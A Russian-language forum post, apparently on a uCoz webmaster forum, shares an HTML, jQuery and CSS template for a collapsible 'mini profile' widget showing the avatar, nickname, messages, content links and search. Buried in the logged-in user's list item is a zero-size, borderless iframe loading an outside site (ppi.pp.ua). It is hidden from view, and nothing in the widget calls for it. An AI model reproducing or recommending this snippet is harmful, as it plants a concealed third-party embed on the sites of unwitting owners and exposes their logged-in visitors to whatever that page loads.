Join the forum, it's quick and easy

Вы хотите отреагировать на этот пост ? Создайте аккаунт всего в несколько кликов или войдите на форум.

    Мини профиль на jQuery для ucoz

    Ballack
    Ballack
    Модератор
    Модератор


    Сообщения : 29
    Очки : 87
    Репутация : 50
    Дата регистрации : 2011-01-04
    Возраст : 29

     Мини профиль на jQuery для ucoz Empty Мини профиль на jQuery для ucoz

    Сообщение  Ballack Пн Янв 10, 2011 5:50 pm

    http://s54.radikal.ru/i143/1002/fc/34312fcf4374.jpg

    Код:
    <html><head>     

    <script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js"></script>     
    <script type="text/javascript">     
    $(function() {     
          $('#menu li:even').addClass('even');     
          $('#menu li:odd').addClass('odd');     
          $('#menu li:even:last').addClass('last');     
               
          $('#menu li:even').click( function() {     
          $('#menu li:even').toggle(500);     
          $(this).toggle(500);     
          $(this).next().slideToggle();     
          } );     
    });     
    </script>     
    <style type="text/css">     
    * {     
          padding: 0;     
          margin: 0;     
    }     

    #menu {     
          width: 200px;     
          border: 1px solid gray;     
    }     

    #menu li {     
          list-style-type: none;     
          border-bottom: 1px solid gray;     
    }     

    #menu li.odd {     
          font-size: 90%;     
          padding: 2px 8px;     
    }     

    #menu a {     
          display: block;     
          width: 184px;     
          color: #000000;     
          text-decoration: none;     
          padding: 2px 8px;     
    }     

    #menu li.even {     
          background-color: #F6F6F6;     
    }     

    #menu li.odd {     
          background-color: #fff;     
          display: none;     
    }     

    #menu li.odd a {     
          color: black;     
    }     

    #menu li.last {     
          border-bottom: none;     
    }     

    p {     
          padding-bottom: 20px;     
    } </style><?if($_AVATAR$)?><center><img alt="" src="$USER_AVATAR_URL$"></center><?else?><center><img src=http://ucooz.ucoz.ru/Untitled-1.png></center><?endif?></div><center>     
    <?if($USER_LOGGED_IN$)?><ul id="menu">     
    <li><a href="#">Мои данные</a></li>     
          <li>Ник:<b>$USERNAME$</b><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><br><a href=$UNREAD_PM$>Сообщения:<b>$UNREAD_PM$</a></b></li>     
          <li><a href="#">Контент</a></li>     
          <li><a href=/load/0-0-0-0-1>Добавить файл</a><a href=/news/0-0-0-0-1>Добавить новость</a><a href=/publ/0-0-0-0-1>Добавить статью</a><a href=/blog/0-0-0-0-1>Добавить запись в блог</a><a href=/photo/0-0-0-0-1>Добавить фото</a></li>     

          <li><a href="#">Поиск по сайту</a></li>     
          <li>$MODULE_SEARCH_FORM$</li>     

          </ul><?else?><ul id="menu">     
    <li><a href="#">Войти</a></li>     
          <li>$LOGIN_FORM$</li>     
          <?endif?>     
    <li><a href="/index/3">Регистрация</a></li>


      Текущее время Пн Май 20, 2024 3:39 am